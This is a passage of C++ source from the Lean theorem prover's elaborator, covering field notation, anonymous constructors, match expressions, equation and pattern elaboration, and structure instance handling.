field_res.m_base_S_name, mk_as_is(s)); new_args.push_back(copy_tag(fn, std::move(coerced_s))); for (; i < args.size(); i++) new_args.push_back(args[i]); expr new_proj = visit_function(proj, has_args, has_args ? none_expr() : expected_type, ref); return visit_base_app(new_proj, amask, new_args, expected_type, ref); } else { if (i >= args.size()) { throw elaborator_exception(ref, sstream() << "invalid field notation, insufficient number of arguments for '" << field_res.get_full_fname() << "'"); } new_args.push_back(args[i]); i++; } } proj_type = binding_body(proj_type); } throw elaborator_exception(ref, sstream() << "invalid field notation, function '" << field_res.get_full_fname() << "' does not have explicit argument with type (" << field_res.m_base_S_name << " ...)"); } else { expr new_fn = visit_function(fn, has_args, has_args ? none_expr() : expected_type, ref); /* Check if we should use a custom elaboration procedure for this application. */ if (is_constant(new_fn) && amask == arg_mask::Default) { if (auto info = use_elim_elab(const_name(new_fn))) { if (args.size() >= info->m_nexplicit) { return visit_elim_app(new_fn, *info, args, expected_type, ref); } else { try { return visit_base_app(new_fn, amask, args, expected_type, ref); } catch (elaborator_exception & ex) { throw nested_elaborator_exception(ref, ex, format("'eliminator' elaboration was not used for '") + pp(fn) + format("' because it is not fully applied, #") + format(info->m_nexplicit) + format(" explicit arguments expected")); } } } else if (is_no_confusion(m_env, const_name(new_fn))) { return visit_no_confusion_app(new_fn, args, expected_type, ref); } else { try { return visit_base_app(new_fn, amask, args, expected_type, ref); } catch (elaborator_exception & ex) { if (auto error_msg = m_elim_failure_info.find(const_name(new_fn))) { throw nested_elaborator_exception(ref, ex, *error_msg); } else { throw; } } } } return visit_base_app(new_fn, amask, args, expected_type, ref); } } expr elaborator::visit_local(expr const & e, optional<expr> const & expected_type) { return visit_app_core(e, buffer<expr>(), expected_type, e); } expr elaborator::visit_constant(expr const & e, optional<expr> const & expected_type) { return visit_app_core(e, buffer<expr>(), expected_type, e); } expr elaborator::visit_scope_trace(expr const & e, optional<expr> const & expected_type) { buffer<expr> new_args; auto pip = get_pos_info_provider(); unsigned line = 0, col = 0; if (pip) { pos_info pos = pip->get_pos_info_or_some(e); line = pos.first; col = pos.second; } new_args.push_back(copy_tag(e, mk_expr_placeholder())); new_args.push_back(copy_tag(e, mk_prenum(mpz(line)))); new_args.push_back(copy_tag(e, mk_prenum(mpz(col)))); new_args.push_back(app_arg(e)); return visit(mk_app(copy_tag(e, mk_explicit(app_fn(e))), new_args.size(), new_args.data()), expected_type); } expr elaborator::visit_app(expr const & e, optional<expr> const & expected_type) { if (is_app_of(e, get_scope_trace_name(), 1)) return visit_scope_trace(e, expected_type); buffer<expr> args; expr const & fn = get_app_args(e, args); if (is_infix_function(fn)) { expr infix_fn = get_annotation_arg(fn); lean_assert(is_lambda(infix_fn)); return visit(head_beta_reduce(copy_tag(e, mk_app(infix_fn, args))), expected_type); } else if (is_equations(fn)) { return visit_convoy(e, expected_type); } else { return visit_app_core(fn, args, expected_type, e); } } static level ground_uvars(level const & l) { return replace(l, [] (level const & l) { if (is_meta(l)) { return some_level(mk_level_zero()); } else { return none_level(); } }); } static expr ground_uvars(expr const & e) { return replace(e, [] (expr const & e, unsigned) { if (!e.has_univ_metavar()) { return some_expr(e); } else if (is_sort(e)) { return some_expr(mk_sort(ground_uvars(sort_level(e)))); } else if (is_constant(e)) { return some_expr(mk_constant(const_name(e), map(const_levels(e), [] (level const & l) { return ground_uvars(l); }))); } else { return none_expr(); } }); } expr elaborator::visit_by(expr const & e, optional<expr> const & expected_type) { lean_assert(is_by(e)); expr tac = (flet<bool>(m_term_goals, false), strict_visit(get_by_arg(e), none_expr())); tac = ground_uvars(tac); expr const & ref = e; expr mvar = mk_metavar(expected_type, ref); m_tactics = cons(mk_pair(mvar, tac), m_tactics); trace_elab(tout() << "tactic for ?m_" << get_metavar_decl_ref_suffix(mvar) << " at " << pos_string_for(mvar) << "\n" << tac << "\n";); return mvar; } expr elaborator::visit_hole(expr const & e, optional<expr> const & expected_type) { lean_assert(is_hole(e)); expr const & ref = e; expr args; optional<pos_info> begin_pos, end_pos; std::tie(args, begin_pos, end_pos) = get_hole_info(e); expr args_type = mk_app(mk_constant(get_list_name(), {mk_level_zero()}), mk_app(mk_constant(get_expr_name()), mk_constant(get_bool_ff_name()))); expr new_args = ground_uvars(strict_visit(args, some_expr(args_type))); expr mvar = mk_metavar(expected_type, ref); m_holes = cons(mk_pair(mvar, update_hole_args(e, new_args)), m_holes); return mvar; } expr elaborator::visit_anonymous_constructor(expr const & e, optional<expr> const & expected_type) { lean_assert(is_anonymous_constructor(e)); buffer<expr> args; expr const & c = get_app_args(get_anonymous_constructor_arg(e), args); if (!expected_type) throw elaborator_exception(e, "invalid constructor ⟨...⟩, expected type must be known"); expr I = get_app_fn(m_ctx.relaxed_whnf(instantiate_mvars(*expected_type))); if (!is_constant(I)) throw elaborator_exception(e, format("invalid constructor ⟨...⟩, expected type is not an inductive type") + pp_indent(*expected_type)); name I_name = const_name(I); if (is_private(m_env, I_name) && !is_expr_aliased(m_env, I_name)) throw elaborator_exception(e, "invalid constructor ⟨...⟩, type is a private inductive datatype"); if (!inductive::is_inductive_decl(m_env, I_name)) throw elaborator_exception(e, sstream() << "invalid constructor ⟨...⟩, '" << I_name << "' is not an inductive type"); buffer<name> c_names; get_intro_rule_names(m_env, I_name, c_names); if (c_names.size() != 1) throw elaborator_exception(e, sstream() << "invalid constructor ⟨...⟩, '" << I_name << "' must have only one constructor"); expr type = m_env.get(c_names[0]).get_type(); unsigned num_explicit = 0; while (is_pi(type)) { if (is_explicit(binding_info(type))) num_explicit++; type = binding_body(type); } if (num_explicit > 1 && args.size() > num_explicit) { unsigned num_extra = args.size() - num_explicit; expr rest = copy_tag(e, mk_app(c, num_extra + 1, args.data() + num_explicit - 1)); rest = copy_tag(e, mk_anonymous_constructor(rest)); args.shrink(num_explicit); args.back() = rest; } expr new_e = copy_tag(e, mk_app(mk_constant(c_names[0]), args)); return visit(new_e, expected_type); } static expr get_equations_fn_type(expr const & eqns) { buffer<expr> eqs; to_equations(eqns, eqs); lean_assert(!eqs.empty()); lean_assert(is_lambda(eqs[0])); return binding_domain(eqs[0]); } /** \brief Similar to instantiate_rev, but assumes that subst contains only local constants. When replacing a variable with a local, we copy the local constant and inherit the tag associated with the variable. This is a trick for preserving position information. */ static expr instantiate_rev_locals(expr const & a, unsigned n, expr const * subst) { if (closed(a)) return a; auto fn = [=](expr const & m, unsigned offset) -> optional<expr> { if (offset >= get_free_var_range(m)) return some_expr(m); // expression m does not contain free variables with idx >= offset if (is_var(m)) { unsigned vidx = var_idx(m); if (vidx >= offset) { unsigned h = offset + n; if (h < offset /* overflow, h is bigger than any vidx */ || vidx < h) { expr local = subst[n - (vidx - offset) - 1]; lean_assert(is_local(local)); return some_expr(copy_tag(m, copy(local))); } else { return some_expr(copy_tag(m, mk_var(vidx - n))); } } } return none_expr(); }; return replace(a, fn); } static expr instantiate_rev_locals(expr const & e, type_context_old::tmp_locals const & locals) { return instantiate_rev_locals(e, locals.as_buffer().size(), locals.as_buffer().data()); } static expr update_equations_fn_type(expr const & eqns, expr const & new_fn_type) { expr fn_type = mk_as_is(new_fn_type); buffer<expr> eqs; to_equations(eqns, eqs); for (expr & eq : eqs) { lean_assert(is_lambda(eq)); eq = update_binding(eq, fn_type, binding_body(eq)); } return update_equations(eqns, eqs); } expr elaborator::visit_convoy(expr const & e, optional<expr> const & expected_type) { lean_assert(is_app(e)); lean_assert(is_equations(get_app_fn(e))); expr const & ref = e; buffer<expr> args, new_args; expr const & eqns = get_app_args(e, args); lean_assert(equations_num_fns(eqns) == 1); lean_assert(equations_size(eqns) > 0); expr fn_type = get_equations_fn_type(eqns); expr new_fn_type; if (is_placeholder(fn_type)) { /* User did not provide the type for the match, we try to infer one using expected_type and the type of the arguments */ if (!expected_type) throw elaborator_exception(ref, "invalid match/convoy expression, expected type is not known"); for (unsigned i = 0; i < args.size(); i++) new_args.push_back(visit(args[i], none_expr())); synthesize(); new_fn_type = instantiate_mvars(*expected_type); unsigned i = args.size(); while (i > 0) { --i; expr new_arg = instantiate_mvars(new_args[i]); expr new_arg_type = instantiate_mvars(infer_type(new_arg)); new_fn_type = ::lean::mk_pi("_a", new_arg_type, kabstract(m_ctx, new_fn_type, new_arg)); } try { check(m_ctx, new_fn_type); } catch (exception & ex) { throw nested_exception("invalid match/convoy expression, " "user did not provide type for the expression, " "lean tried to infer one using expected type information, " "but result is not type correct", ex); } } else { // User provided some typing information for the match type_context_old::tmp_locals locals(m_ctx); expr it = fn_type; for (unsigned i = 0; i < args.size(); i++) { if (!is_pi(it)) throw elaborator_exception(it, "type expected in match-expression"); expr d = instantiate_rev_locals(binding_domain(it), locals); expr new_d = visit(d, none_expr()); expr ref_d = get_ref_for_child(binding_domain(it), it); new_d = ensure_type(new_d, ref_d); expr expected = replace_locals(new_d, locals.as_buffer(), new_args); expr new_arg = visit(args[i], some_expr(expected)); new_arg = enforce_type(new_arg, expected, "type mismatch in match expression", args[i]); locals.push_local(binding_name(it), new_d, binding_info(it)); it = binding_body(it); new_args.push_back(new_arg); } if (is_placeholder(it)) { synthesize(); if (!expected_type) throw elaborator_exception(ref, "invalid match/convoy expression, expected type is not known"); new_fn_type = instantiate_mvars(*expected_type); unsigned i = args.size(); while (i > 0) { --i; new_args[i] = instantiate_mvars(new_args[i]); new_fn_type = instantiate(kabstract(m_ctx, new_fn_type, new_args[i]), locals.as_buffer()[i]); } new_fn_type = locals.mk_pi(new_fn_type); } else { expr b = instantiate_rev_locals(it, locals); expr new_b = visit(b, none_expr()); synthesize(); new_fn_type = locals.mk_pi(instantiate_mvars(new_b)); } } new_fn_type = instantiate_mvars(new_fn_type); #if 0 /* The following check is too restrictive in do blocks. */ if (has_expr_metavar(new_fn_type)) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(ref, format("invalid match/convoy expression, type contains meta-variables") + pp_indent(pp_fn, new_fn_type)); } #endif trace_elab(tout() << "match/convoy function type: " << new_fn_type << "\n";); expr new_eqns = visit_equations(update_equations_fn_type(eqns, new_fn_type)); expr fn = get_equations_result(new_eqns, 0); return mk_app(fn, new_args); } /** \brief Given two binding expressions \c source and \c target s.t. they have at least \c num binders, replace the first \c num binders of \c target with \c source. The binder types are wrapped with \c mk_as_is to make sure the elaborator will not process them again. */ static expr copy_domain(unsigned num, expr const & source, expr const & target) { if (num == 0) { return target; } else if (is_binding(source) && is_binding(target)) { return update_binding(source, mk_as_is(binding_domain(source)), copy_domain(num-1, binding_body(source), binding_body(target))); } else { return target; } } static void throw_ill_formed_equation(expr const & ref) { throw elaborator_exception(ref, "ill-formed match/equation expression"); } static void check_equations_arity(buffer<expr> const & eqns) { buffer<optional<unsigned>> fidx2arity; for (expr eqn : eqns) { unsigned nbinders = 0; expr curr = eqn; while (is_lambda(eqn)) { nbinders++; eqn = binding_body(eqn); } if (is_equation(eqn)) { expr const & lhs = equation_lhs(eqn); expr const & fn = get_app_fn(lhs); unsigned arity = get_app_num_args(lhs); if (!is_var(fn) || var_idx(fn) >= nbinders) throw_ill_formed_equation(eqn); unsigned fidx = nbinders - var_idx(fn) - 1; if (fidx >= fidx2arity.size()) fidx2arity.resize(fidx+1, optional<unsigned>()); if (auto r = fidx2arity[fidx]) { if (*r != arity) { throw elaborator_exception(eqn, "invalid match/equations expression, " "each case must have the same number of patterns"); } } else { fidx2arity[fidx] = arity; } } else if (is_no_equation(eqn)) { /* do nothing */ } else { throw_ill_formed_equation(curr); } } } bool elaborator::keep_do_failure_eq(expr const & first_eq) { if (!is_lambda(first_eq)) return false; // possible with error recovery expr type = binding_domain(first_eq); if (!is_pi(type)) return false; type = binding_body(type); if (!closed(type)) return false; return is_app(type) && is_monad_fail(app_fn(type)); } expr elaborator::mk_aux_meta_def(expr const & e, expr const & ref) { name aux_name(m_decl_name, "_aux_meta"); aux_name = aux_name.append_after(m_aux_meta_idx); m_aux_meta_idx++; expr new_c; metavar_context mctx = m_ctx.mctx(); std::tie(m_env, new_c) = mk_aux_definition(m_env, mctx, local_context(), aux_name, e, optional<bool>(true)); if (!is_constant(new_c)) { throw elaborator_exception(ref, "failed to create auxiliary definition"); } m_env = vm_compile(m_env, m_ctx.get_options(), m_env.get(const_name(new_c))); m_ctx.set_env(m_env); m_ctx.set_mctx(mctx); return new_c; } static void mvar_dep_sort_aux(type_context_old & ctx, expr const & m, name_set const & mvar_names, name_set & visited, buffer<expr> & result) { if (visited.contains(mlocal_name(m))) return; for_each(ctx.instantiate_mvars(ctx.infer(m)), [&](expr const & e, unsigned) { if (is_metavar(e) && mvar_names.contains(mlocal_name(e))) { mvar_dep_sort_aux(ctx, e, mvar_names, visited, result); return false; // do not visit types } if (is_local(e)) { return false; // do not visit types } return true; }); visited.insert(mlocal_name(m)); result.push_back(m); } /* Topological sort based on dependencies. */ static void mvar_dep_sort(type_context_old & ctx, buffer<expr> & mvars) { name_set visited; buffer<expr> result; name_set mvar_names; for (expr const & m : mvars) mvar_names.insert(mlocal_name(m)); for (expr const & m : mvars) mvar_dep_sort_aux(ctx, m, mvar_names, visited, result); mvars.clear(); mvars.append(result); } /* We preprocess the equation left-hand-side by first elaborating it using metavariables. This process allows us to refine pattern variables whose value is fixed by type inference. Before processing the right-hand-side, we must convert back these metavariables into pattern variables (i.e., local constants). This visitor collects metavariables that must be converted into pattern variables, and validates the equation left-hand-side. It returns the input expression expanded to expose its primitive patterns. */ class validate_and_collect_lhs_mvars : public replace_visitor { elaborator & m_elab; bool m_has_invalid_pattern = false; expr m_ref; /* m_mctx0 is the metavariable context before processing the equation. Only metavariables created when processing the equation can be converted into pattern variables. */ metavar_context m_mctx0; buffer<expr> & m_unassigned_mvars; name_set m_collected; type_context_old & ctx() { return m_elab.m_ctx; } environment const & env() { return m_elab.env(); } optional<expr> expand(expr const & e) { /* We don't simply use whnf because we want to avoid exposing the internal implementation of definitions compiled using the equation compiler */ { /* Try without use delta reduction */ type_context_old::transparency_scope scope(ctx(), transparency_mode::None); expr new_e = ctx().whnf(e); if (new_e != e) return some_expr(new_e); } if (auto new_e = ctx().reduce_projection(e)) return new_e; /* Try to unfold using refl equations */ if (auto new_e = dunfold(ctx(), e)) return new_e; /* Last resort, whnf using current setting */ expr new_e = ctx().whnf(e); if (new_e != e) return some_expr(new_e); return none_expr(); } void throw_invalid_pattern(char const * msg, expr const & e) { m_elab.report_or_throw( elaborator_exception(m_ref, format(msg) + format(" (possible solution, mark term as inaccessible using '.( )')") + m_elab.pp_indent(e)) .ignore_if(m_elab.has_synth_sorry(e))); m_has_invalid_pattern = true; } virtual expr visit_local(expr const & e) override { return e; } virtual expr visit_lambda(expr const & e) override { throw_invalid_pattern("invalid occurrence of lambda expression in pattern", e); return e; } virtual expr visit_pi(expr const & e) override { throw_invalid_pattern("invalid occurrence of pi/forall expression in pattern", e); return e; } virtual expr visit_let(expr const & e) override { return visit(instantiate(let_body(e), let_value(e))); } virtual expr visit_sort(expr const & e) override { throw_invalid_pattern("invalid occurrence of sort in pattern", e); return e; } virtual expr visit_meta(expr const & m) override { if (is_metavar_decl_ref(m) && !m_mctx0.find_metavar_decl(m)) { if (!m_collected.contains(mlocal_name(m))) { m_unassigned_mvars.push_back(m); m_collected.insert(mlocal_name(m)); } return m; } else { throw_invalid_pattern("invalid occurrence of metavariable in pattern", m); return m; } } void throw_invalid_app(expr const & e) { if (is_constant(e)) throw_invalid_pattern("invalid constant in pattern, it cannot be reduced to a constructor", e); else throw_invalid_pattern("invalid function application in pattern, it cannot be reduced to a constructor", e); } virtual expr visit_app(expr const & e) override { expr it = e; while (true) { if (is_nat_int_char_string_name_value(ctx(), it)) return e; if (!is_app(it) && !is_constant(it)) return visit(it); buffer<expr> args; expr const & fn = get_app_args(it, args); if (!is_constant(fn)) { throw_invalid_app(e); return e; } if (optional<name> I = is_ginductive_intro_rule(env(), const_name(fn))) { unsigned num_params = get_ginductive_num_params(env(), *I); for (unsigned i = num_params; i < args.size(); i++) { visit(args[i]); } return e; } else if (optional<inverse_info> info = has_inverse(env(), const_name(fn))) { visit(args.back()); return e; } else { if (auto r = expand(it)) { it = *r; } else { throw_invalid_app(e); return e; } } } } virtual expr visit_constant(expr const & e) override { return visit_app(e); } virtual expr visit_macro(expr const & e) override { if (is_inaccessible(e)) { return e; } else if (is_as_pattern(e)) { expr new_lhs = visit(get_as_pattern_lhs(e)); expr new_rhs = visit(get_as_pattern_rhs(e)); return mk_as_pattern(new_lhs, new_rhs); } else if (is_structure_instance(e)) { auto info = get_structure_instance_info(e); if (info.m_sources.size()) throw elaborator_exception(info.m_sources[0], "invalid occurrence of structure notation source in pattern"); for (expr & val : info.m_field_values) val = visit(val); return mk_structure_instance(info); } else if (auto r = ctx().expand_macro(e)) { return visit(*r); } else if (is_synthetic_sorry(e)) { return e; } else { throw_invalid_pattern("invalid occurrence of macro expression in pattern", e); return e; } } public: validate_and_collect_lhs_mvars(elaborator & elab, expr const & ref, metavar_context const & mctx0, buffer<expr> & unassigned_mvars): m_elab(elab), m_ref(ref), m_mctx0(mctx0), m_unassigned_mvars(unassigned_mvars) { } bool operator()(expr const & lhs) { buffer<expr> args; get_app_args(lhs, args); for (expr & arg : args) visit(arg); return m_has_invalid_pattern; } }; /* Similar to instantiate_mvars, but add an inaccessible pattern annotation around metavariables whose value has been fixed by type inference. */ static expr instantiate_pattern_mvars(type_context_old & ctx, expr const & lhs) { return replace(lhs, [&](expr const & e, unsigned) { if (is_metavar_decl_ref(e) && ctx.is_assigned(e)) { expr v = ctx.instantiate_mvars(e); if (!is_local(v) && !is_metavar(v)) return some_expr(copy_tag(e, mk_inaccessible(v))); else return some_expr(v); } else { return none_expr(); } }); } expr elaborator::visit_equation(expr const & e, unsigned num_fns) { expr const & ref = e; type_context_old::tmp_locals fns(m_ctx); expr it = e; for (unsigned i = 0; i < num_fns; i++) { if (!is_lambda(it)) throw_ill_formed_equation(ref); expr d = instantiate_rev_locals(binding_domain(it), fns); expr new_d = visit(d, none_expr()); expr ref_d = get_ref_for_child(binding_domain(it), it); expr fn = copy_tag(binding_domain(it), push_local(fns, binding_name(it), new_d, binding_info(it), ref_d)); save_identifier_info(fn); it = binding_body(it); } if (is_no_equation(it)) { return fns.mk_lambda(it); } else { metavar_context mctx0 = m_ctx.mctx(); it = instantiate_rev_locals(it, fns); buffer<expr> local_mvars; buffer<expr> type_mvars; while (is_lambda(it)) { expr type = mk_type_metavar(it); type_mvars.push_back(type); expr mvar = copy_tag(binding_domain(it), m_ctx.mk_metavar_decl(binding_name(it), m_ctx.lctx(), type)); local_mvars.push_back(mvar); it = binding_body(it); } if (!is_equation(it)) throw_ill_formed_equation(ref); expr lhs = instantiate_rev(equation_lhs(it), local_mvars); expr lhs_fn = get_app_fn(lhs); if (is_explicit_or_partial_explicit(lhs_fn)) lhs_fn = get_explicit_or_partial_explicit_arg(lhs_fn); if (!is_local(lhs_fn)) throw_ill_formed_equation(ref); expr new_lhs; { flet<bool> set(m_in_pattern, true); /* Note that pattern elaboration is more sensitive than standard elaboration: * mvars in `new_lhs` will be turned into pattern variables below, so care must be taken when instantiating * or introducing them. See the very end of `visit_structure_instance` for an example. */ new_lhs = visit(lhs, none_expr()); synthesize_no_tactics(); } new_lhs = instantiate_pattern_mvars(m_ctx, new_lhs); // collect unassigned metavariables not in mctx0 buffer<expr> unassigned_mvars; validate_and_collect_lhs_mvars(*this, ref, mctx0, unassigned_mvars)(new_lhs); // sort using dependencies mvar_dep_sort(m_ctx, unassigned_mvars); // create local variables for each unassigned metavar type_context_old::tmp_locals new_locals(m_ctx); for (expr & m : unassigned_mvars) { expr type = instantiate_mvars(m_ctx.infer(m)); expr new_local = new_locals.push_local(mlocal_pp_name(m), type, binder_info()); m_ctx.assign(m, new_local); } // replace metavariables with new locals new_lhs = instantiate_mvars(new_lhs); expr new_lhs_type = instantiate_mvars(infer_type(new_lhs)); // process rhs buffer<expr> rhs_subst; for (expr const & local_mvar : local_mvars) { expr s = instantiate_mvars(local_mvar); if (!is_local(s)) { /* The `as_is` macro affects how applications are elaborated. See comment at first_pass method. So, we only use it if it is really needed. That is, the metavariable was fixed to a non trivial term by type inference rules. For example, in the following definition ``` inductive Vec (A : Type) : nat → Type | nil {} : Vec 0 | cons : Π {n}, A → Vec n → Vec (succ n) open Vec def append1 {A : Type} : Π {m n : nat}, Vec A m -> Vec A n -> Vec A (n + m) | n m nil ys := ys | n m (cons x xs) ys := cons x (append1 xs ys) ``` The variable n is refined to 0 and (succ n') in the first and second equations. */ s = mk_as_is(s); } rhs_subst.push_back(s); } expr rhs = instantiate_rev(equation_rhs(it), rhs_subst); expr new_rhs = visit(rhs, some_expr(new_lhs_type)); // synthesize_no_tactics(); // new_rhs = instantiate_mvars(new_rhs); new_rhs = enforce_type(new_rhs, new_lhs_type, "equation type mismatch", it); expr new_eq = copy_tag(it, mk_equation(new_lhs, new_rhs, ignore_equation_if_unused(it))); expr r = copy_tag(ref, fns.mk_lambda(new_locals.mk_lambda(new_eq))); return r; } } expr elaborator::visit_equations(expr const & e) { expr const & ref = e; buffer<expr> eqs; buffer<expr> new_eqs; optional<expr> new_tacs; equations_header const & header = get_equations_header(e); unsigned num_fns = header.m_num_fns; to_equations(e, eqs); lean_assert(!eqs.empty()); if (is_wf_equations(e)) { expr type = mk_constant(get_well_founded_tactics_name()); new_tacs = visit(equations_wf_tactics(e), some_expr(type)); new_tacs = enforce_type(*new_tacs, type, "well_founded_tactics object expected", ref); if (!is_constant(*new_tacs)) { new_tacs = mk_aux_meta_def(*new_tacs, ref); } } optional<expr> first_eq; for (expr const & eq : eqs) { expr new_eq; if (first_eq) { if (is_do_failure_eq(eq) && !keep_do_failure_eq(*first_eq)) { /* skip equation since it doesn't implement the monad_fail interface */ } else { /* Replace first num_fns domains of eq with the ones in first_eq. This is a trick/hack to ensure the fns in each equation have the same elaborated type. */ new_eq = copy_tag(eq, visit_equation(copy_domain(num_fns, *first_eq, eq), num_fns)); new_eqs.push_back(new_eq); } } else { new_eq = copy_tag(eq, visit_equation(eq, num_fns)); first_eq = new_eq; new_eqs.push_back(new_eq); } } check_equations_arity(new_eqs); synthesize(); expr new_e; if (new_tacs) { new_e = copy_tag(e, mk_equations(header, new_eqs.size(), new_eqs.data(), *new_tacs)); } else { new_e = copy_tag(e, mk_equations(header, new_eqs.size(), new_eqs.data())); } new_e = instantiate_mvars(new_e); ensure_no_unassigned_metavars(new_e); metavar_context mctx = m_ctx.mctx(); expr r = compile_equations(m_env, *this, mctx, m_ctx.lctx(), new_e); m_ctx.set_env(m_env); m_ctx.set_mctx(mctx); return r; } expr elaborator::visit_inaccessible(expr const & e, optional<expr> const & expected_type) { if (!m_in_pattern) throw elaborator_exception(e, "invalid occurrence of 'inaccessible' annotation, " "it must only occur in patterns"); expr a = get_annotation_arg(e); expr new_a; { flet<bool> set(m_in_pattern, false); new_a = visit(a, expected_type); } return copy_tag(e, mk_inaccessible(new_a)); } elaborator::field_resolution elaborator::field_to_decl(expr const & e, expr const & s, expr const & s_type) { // prefer 'unknown identifier' error when lhs is a constant of non-value type if (is_field_notation(e)) { auto lhs = macro_arg(e, 0); if (is_constant(lhs)) { type_context_old::tmp_locals locals(m_ctx); expr t = whnf(s_type); while (is_pi(t)) { t = whnf(instantiate(binding_body(t), locals.push_local_from_binding(t))); } if (is_sort(t) && !is_anonymous_field_notation(e)) { name fname = get_field_notation_field_name(e); throw elaborator_exception(lhs, format("unknown identifier '") + format(const_name(lhs)) + format(".") + format(fname) + format("'")); } } } expr I = get_app_fn(s_type); if (!is_constant(I)) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(e, format("invalid field notation, type is not of the form (C ...) where C is a constant") + pp_indent(pp_fn, s) + line() + format("has type") + pp_indent(pp_fn, s_type)); } if (is_anonymous_field_notation(e)) { if (!is_structure(m_env, const_name(I))) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(e, format("invalid projection, structure expected") + pp_indent(pp_fn, s) + line() + format("has type") + pp_indent(pp_fn, s_type)); } auto fnames = get_structure_fields(m_env, const_name(I)); unsigned fidx = get_field_notation_field_idx(e); if (fidx == 0) { throw elaborator_exception(e, "invalid projection, index must be greater than 0"); } if (fidx > fnames.size()) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(e, format("invalid projection, structure has only ") + format(fnames.size()) + format(" field(s)") + pp_indent(pp_fn, s) + line() + format("which has type") + pp_indent(pp_fn, s_type)); } return const_name(I) + fnames[fidx-1]; } else { name fname = get_field_notation_field_name(e); // search for "true" fields first, including in parent structures if (is_structure_like(m_env, const_name(I))) if (auto p = find_field(m_env, const_name(I), fname)) return field_resolution(const_name(I), *p, fname); name full_fname = const_name(I) + fname; name local_name = full_fname.replace_prefix(get_namespace(env()), {}); if (auto ldecl = m_ctx.lctx().find_if([&](local_decl const & decl) { return decl.get_info().is_rec() && decl.get_pp_name() == local_name; })) { // projection is recursive call return field_resolution(full_fname, ldecl); } if (!m_env.find(full_fname)) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(e, format("invalid field notation, '") + format(fname) + format("'") + format(" is not a valid \"field\" because environment does not contain ") + format("'") + format(full_fname) + format("'") + pp_indent(pp_fn, s) + line() + format("which has type") + pp_indent(pp_fn, s_type)); } return full_fname; } } elaborator::field_resolution elaborator::find_field_fn(expr const & e, expr const & s, expr const & s_type) { try { return field_to_decl(e, s, s_type); } catch (elaborator_exception & ex1) { expr new_s_type = s_type; if (auto d = unfold_term(env(), new_s_type)) new_s_type = *d; new_s_type = m_ctx.whnf_head_pred(new_s_type, [](expr const &) { return false; }); if (new_s_type == s_type) throw; try { return find_field_fn(e, s, new_s_type); } catch (elaborator_exception & ex2) { throw nested_elaborator_exception(ex2.get_pos(), ex1, ex2.pp()); } } } expr elaborator::visit_field(expr const & e, optional<expr> const & expected_type) { lean_assert(is_field_notation(e)); expr s = visit(macro_arg(e, 0), none_expr()); expr s_type = head_beta_reduce(instantiate_mvars(infer_type(s))); auto field_res = find_field_fn(e, s, s_type); expr proj_app; if (field_res.m_ldecl) { proj_app = copy_tag(e, mk_app(field_res.m_ldecl->mk_ref(), mk_as_is(s))); } else { expr new_e = *mk_base_projections(m_env, field_res.m_S_name, field_res.m_base_S_name, mk_as_is(s)); proj_app = mk_proj_app(m_env, field_res.m_base_S_name, field_res.m_fname, new_e, e); } return visit(proj_app, expected_type); } class reduce_projections_visitor : public replace_visitor { private: type_context_old & m_ctx; protected: expr visit_app(expr const & e) override { expr e2 = replace_visitor::visit_app(e); if (has_metavar(e2)) { if (auto e3 = m_ctx.reduce_projection(e2)) return *e3; } return e2; } public: reduce_projections_visitor(type_context_old & ctx): m_ctx(ctx) {} }; /* Predicated variant of `lean::instantiate_mvars`. It does not support delayed abstractions or universe mvars. */ expr elaborator::instantiate_mvars(expr const & e, std::function<bool(expr const &)> pred) { // NOLINT return replace(e, [&](expr const & e) { lean_assert(!is_delayed_abstraction(e)); if (m_ctx.is_mvar(e) && pred(e)) if (auto asn = m_ctx.get_assignment(e)) return some_expr(instantiate_mvars(*asn, pred)); return none_expr(); }); } /** Elaborate the structure instance notation `{... := ..., ...}` */ class visit_structure_instance_fn { // an elaborated source `..(m_e : m_S_name ...)` struct source { expr m_e; // known to be a structure name m_S_name; }; elaborator & m_elab; // note: fields needed by trace macros environment & m_env = m_elab.m_env; type_context_old & m_ctx = m_elab.m_ctx; // inputs expr m_e, m_ref = m_e; optional<expr> m_expected_type; bool m_use_subobjects = !m_elab.m_opts.get_bool("old_structure_cmd", false); structure_instance_info m_info = get_structure_instance_info(m_e); name & m_S_name = m_info.m_struct_name; buffer<name> const & m_fnames = m_info.m_field_names; buffer<expr> const & m_fvalues = m_info.m_field_values; // set of fnames that have been used by `create_field_mvars`. Not using all of them is an error. name_set m_fnames_used; // fields for which no value could be found buffer<name> m_missing_fields; // elaborated sources buffer<source> m_sources; // Metavariables created for fields. buffer<expr> m_field_mvars; /* Because field default values may introduce arbitrary dependencies on other field values (not only within a structure, * but even between a structure and its parent structures, in either direction), we cannot elaborate fields in a static * order. Instead, we register a metavar and an elaboration function for each field (create_field_mvars). * We call the elaboration function and substitute the metavar with its result (insert_field_values) * only after all field metavars in its expected type have been resolved (reduce_and_check_dependencies). */ // field -> elaboration function name_map<std::function<expr(expr const & expected_type)>> m_field2elab; // field <-> metavar for each field to be elaborated name_map<expr> m_field2mvar; name_map<name> m_mvar2field; bool field_from_source(name const & S_fname) { for (source const & src : m_sources) { if (optional<name> base_S_name = find_field(m_env, src.m_S_name, S_fname)) { expr base_src = *mk_base_projections(m_env, src.m_S_name, *base_S_name, src.m_e); expr f = mk_proj_app(m_env, *base_S_name, S_fname, base_src); m_field2elab.insert(S_fname, [=](expr const & d) { return m_elab.visit(f, some_expr(d)); }); return true; } } return false; } struct field_not_ready_to_synthesize_exception : exception { std::function<format()> m_fmt; explicit field_not_ready_to_synthesize_exception(std::function<format()> m_fmt) : m_fmt(m_fmt) {} }; void field_from_default_value(name const & S_fname) { m_field2elab.insert(S_fname, [=](expr const & d) { if (m_elab.m_in_pattern) { // insert placeholder during pattern elaboration return m_elab.mk_metavar(d, m_ref); } else { name full_S_fname = m_S_name + S_fname; expr pre_fval = mk_field_default_value(m_env, full_S_fname, [&](name const & fname) { // just insert mvars for now, FIXME(gabriel) this used to be checked in `reduce_and_check_deps` below return m_field2mvar[fname]; }); expr fval = m_elab.visit(pre_fval, some_expr(d)); /* Delta- and beta-reduce `_default` definition. */ buffer<expr> args; expr fn = get_app_args(fval, args); if (is_constant(fn)) { declaration decl = m_env.get(const_name(fn)); expr default_val = instantiate_value_univ_params(decl, const_levels(fn)); // clean up 'id' application inserted by `structure_cmd::declare_defaults` default_val = replace(default_val, [](expr const & e) { if (is_app_of(e, get_id_name(), 